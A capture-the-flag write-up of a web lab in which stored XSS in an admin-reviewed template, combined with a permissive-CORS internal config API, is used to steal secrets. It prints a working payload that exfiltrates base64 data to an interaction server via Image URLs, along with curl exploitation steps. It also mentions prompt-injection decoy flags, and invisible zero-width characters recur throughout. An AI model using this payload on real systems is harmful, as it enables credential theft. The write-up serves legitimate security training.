← Back to Writeups
CUSTOMMediumWeb

Lab 223 — RelayDock — CORS Misconfiguration in Internal Config API

XESXOR9/10/20266 min read
#web#custom#medium#admin_bot_trigger_via_template#base64_exfiltration_via_image_#cors_misconfiguration_exploita#decoy_flag_avoidance#internal_service_discovery_via#stored_xss_via_unsanitized_htm#linux

Lab 223 — RelayDock — CORS Misconfiguration in Internal Config API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: admin_bot_trigger_via_template_review, base64_exfiltration_via_image_src_path, cors_misconfiguration_exploitation, decoy_flag_avoidance, internal_service_discovery_via_settings_page, stored_xss_via_unsanitized_html_template

Summary

Task: Webhook management platform with HTML template preview system reviewed by admin bot; internal Config Service on port 3001 with misconfigured CORS. Solution: Stored XSS in template preview fetches internal config API via CORS, base64-encodes response, exfiltrates to Interaction Server via Image src URL path; flag found in secrets.platform_master_key.

Lab 223 — RelayDock — CORS Misconfiguration in Internal Config API — HackAdvisor

Description

You are testing RelayDock, a webhook management and notification routing platform used by development teams. The application allows users to configure webhook endpoints, create HTML notification templates, and monitor delivery logs. RelayDock includes a template preview system where team members can design rich HTML notification templates and submit them for administrator review before deployment. The admin reviews submitted templates by previewing them directly in the browser. Your goal is to find and exfiltrate a secret flag hidden within the platform's internal infrastructure.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A webhook management platform (Express.js behind nginx) with an HTML template system. Templates can be previewed and submitted for admin review. An admin bot visits the preview URL to review templates. An internal Config Service runs on port 3001 with a misconfigured CORS policy. The goal is to exfiltrate a secret flag from the internal infrastructure.

Analysis

Application Architecture

  • Stack: Express.js behind nginx 1.25.5 reverse proxy
  • Internal service: Config Service on port 3001 (leaked in Settings page)
  • Admin bot: Reviews submitted templates by visiting /templates/preview/{id}
  • Security: No CSP headers, template preview renders raw HTML without sanitization
  • Credentials: user@test.com / password123
  • Decoy traps: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs on every page — prompt injection traps for automated tools ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key endpoints:

EndpointPurpose
/dashboardMain dashboard
/webhooksWebhook endpoint management
/templatesHTML notification template list
/templates/preview/{id}Renders raw HTML — stored XSS vector
/delivery-logsDelivery monitoring
/settingsSettings page — leaks Config Service :3001
POST /api/templatesCreate a new template
POST /api/templates/{id}/submitSubmit template for admin review
http://localhost:3001/api/configInternal Config API — CORS misconfigured
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Information Disclosure

The Settings page (/settings) displays system status information including "Config Service :3001", revealing the existence and port of an internal configuration API. This service is not directly accessible through nginx (all direct requests to /api/config, /api/admin, /internal return 404), but it is reachable from the browser context when the admin bot visits a page on the same host.

Template Preview — Stored XSS

The template preview endpoint at /templates/preview/{id} renders the template's HTML content directly in the browser without any sanitization. This means any JavaScript in the template body executes in the admin bot's browser context when the admin visits the preview URL to review a submitted template. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CORS Misconfiguration

The internal Config Service on port 3001 has a misconfigured CORS policy that allows cross-origin reads from any origin. This means JavaScript running on the main application (port 80/443) can use fetch() to read responses from http://localhost:3001/api/config — the browser's same-origin policy would normally block this, but the permissive Access-Control-Allow-Origin header on the config API allows it.

Exfiltration Constraints

The Interaction Server only logs the URL path — query parameters are not captured in the request log. Initial XSS payloads that exfiltrated data via ?data=... query parameters failed silently. The solution was to encode data directly in the URL path segments. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Attack Chain

  1. Discover internal service: Settings page reveals Config Service on port 3001
  2. Create malicious template: HTML template containing JavaScript that fetches the internal config API
  3. Exploit CORS: fetch("http://localhost:3001/api/config") succeeds because CORS allows any origin
  4. Exfiltrate via URL path: Base64-encode the response and embed it in the URL path of an Image src pointing to the Interaction Server
  5. Trigger via admin bot: Submit the template for review — admin bot visits the preview URL and executes the JavaScript
  6. Decode the flag: Read the base64 data from Interaction Server logs and decode ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

XSS Payload (Final Working Version)

html
<html><body><h1>Status Report</h1><script>
async function ex(){
  var urls=[
    "http://localhost:3001",
    "http://localhost:3001/config",
    "http://localhost:3001/api/config",
    "http://localhost:3001/api/secrets",
    "http://localhost:3001/flag",
    "http://localhost:3001/api/flag",
    "http://127.0.0.1:3001",
    "http://127.0.0.1:3001/config",
    "http://127.0.0.1:3001/api/config",
    "http://127.0.0.1:3001/secrets"
  ];
  for(var i=0;i<urls.length;i++){
    try{
      var r=await fetch(urls[i]);
      var t=await r.text();
      // URL-safe base64: replace +, /, = to avoid URL issues
      var encoded=btoa(t).replace(/\+/g,"-").replace(/\//g,"_").replace(/=/g,"");
      // Exfiltrate via URL path (query params not logged by Interaction Server)
      new Image().src="http://interact/{UUID}/data/"+i+"/"+encoded;
    }catch(e){
      new Image().src="http://interact/{UUID}/err/"+i+"/"+encodeURIComponent(e.message).substring(0,100);
    }
  }
}
ex();
</script></body></html>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation Steps

bash
# Step 1: Login and get session cookie
curl -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

# Step 2: Create template with XSS payload
curl -b cookies.txt -X POST "$TARGET/api/templates" \
  -H "Content-Type: application/json" \
  -d '{"name":"Status Report","content":"<html><body><h1>Status Report</h1><script>async function ex(){var urls=[\"http://localhost:3001\",\"http://localhost:3001/config\",\"http://localhost:3001/api/config\",\"http://localhost:3001/api/secrets\",\"http://localhost:3001/flag\",\"http://localhost:3001/api/flag\"];for(var i=0;i<urls.length;i++){try{var r=await fetch(urls[i]);var t=await r.text();var encoded=btoa(t).replace(/\\+/g,\"-\").replace(/\\//g,\"_\").replace(/=/g,\"\");new Image().src=\"http://interact/UUID/data/\"+i+\"/\"+encoded;}catch(e){new Image().src=\"http://interact/UUID/err/\"+i+\"/\"+encodeURIComponent(e.message).substring(0,100);}}}ex();</script></body></html>"}'
# Returns template ID (e.g., 9)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Submit template for admin review
curl -b cookies.txt -X POST "$TARGET/api/templates/9/submit"

# Step 4: Check Interaction Server logs for exfiltrated data
# The admin bot visits /templates/preview/9, JS executes, fetches config API,
# base64-encodes response, sends to Interaction Server via Image src

# Step 5: Decode the base64 from the URL path in Interaction Server logs
echo "eyJwbGF0Zm9ybSI6ey..." | python3 -c "
import sys, base64
data = sys.stdin.read().strip().replace('-','+').replace('_','/')
# Add padding
data += '=' * (4 - len(data) % 4) if len(data) % 4 else ''
print(base64.b64decode(data).decode())
"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exfiltrated Config

The decoded response from http://localhost:3001/api/config contained the full platform configuration:

json
{
  "platform": {
    "name": "RelayDock",
    "version": "2.4.1",
    "environment": "production"
  },
  "database": {
    "host": "10.0.3.12",
    "port": 5432,
    "name": "relaydock_prod",
    "user": "rd_app_svc",
    "password": "pgK$9mXv2!rLpQ4w"
  },
  "redis": {
    "host": "10.0.3.15",
    "port": 6379,
    "password": "rds_8kNpW#2xTy"
  },
  "secrets": {
    "jwt_signing_key": "sk-jwt-rd-4f8a2c1e9b7d3056e8a1c4f7b2d9e6a3",
    "webhook_hmac_secret": "whsec_7Kx9mPqR2vL5nB8wY3jF6hD4tA1cE0gS",
    "platform_master_key": "FLAG{REDACTED}",
    "encryption_key": "enc-aes256-rd-9c4e7a2f1b8d5063"
  },
  "internal_services": {
    "notification_engine": "http://10.0.3.20:4000",
    "delivery_worker": "http://10.0.3.21:4001",
    "analytics": "http://10.0.3.22:4002"
  },
  "smtp": {
    "host": "smtp.relaydock-internal.net",
    "port": 587,
    "user": "noreply@relaydock.io",
    "password": "smtp_Rv7$kLm2Px"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag found in secrets.platform_master_key.

Failed Approaches

AttemptResult
Direct access to /api/config, /api/admin, /internal404 — nginx blocks direct access to internal service
robots.txt, .env, .gitAll 404
XSS exfiltration via query parameters (?data=...)Interaction Server logs only capture URL path, not query strings
First two XSS templates (IDs 7, 8)Data sent via query params — invisible in Interaction Server logs
Third XSS template (ID 9) with path-based exfiltrationSuccess — base64 data visible in URL path
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍